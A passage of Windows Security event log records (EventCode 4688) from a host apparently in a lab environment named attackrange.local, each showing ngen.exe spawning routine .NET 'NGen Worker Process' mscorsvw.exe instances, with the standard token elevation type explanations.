0x0 - -Process Information: - New Process ID: 0x1014 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e4 -InterruptEvent 0 -NGENProcess 770 -Pipe 698 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254543 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ac -InterruptEvent 0 -NGENProcess 7b4 -Pipe 6dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254546 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x32c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 514 -Pipe 6e4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:20 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254545 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c0 -InterruptEvent 0 -NGENProcess 7ac -Pipe 7c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254550 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1020 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 73c -InterruptEvent 0 -NGENProcess 514 -Pipe 7d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254549 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7cc -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7e0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254548 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 748 -InterruptEvent 0 -NGENProcess 514 -Pipe 5f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:24 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254547 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d0 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254552 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 6e0 -Pipe 5f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254551 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf88 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 730 -Pipe 73c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254558 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7fc -InterruptEvent 0 -NGENProcess 780 -Pipe 778 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254557 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 634 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 670 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254556 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f4 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254555 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7e4 -InterruptEvent 0 -NGENProcess 7cc -Pipe 774 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254554 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 780 -InterruptEvent 0 -NGENProcess 7c0 -Pipe 7f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254553 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b4 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7ec -InterruptEvent 0 -NGENProcess 7cc -Pipe 7dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254560 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1148 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c0 -InterruptEvent 0 -NGENProcess 780 -Pipe 568 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254559 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7d8 -InterruptEvent 0 -NGENProcess 694 -Pipe 628 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:04:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254562 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4a8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1278 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 730 -InterruptEvent 0 -NGENProcess 7e4 -Pipe 7fc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or 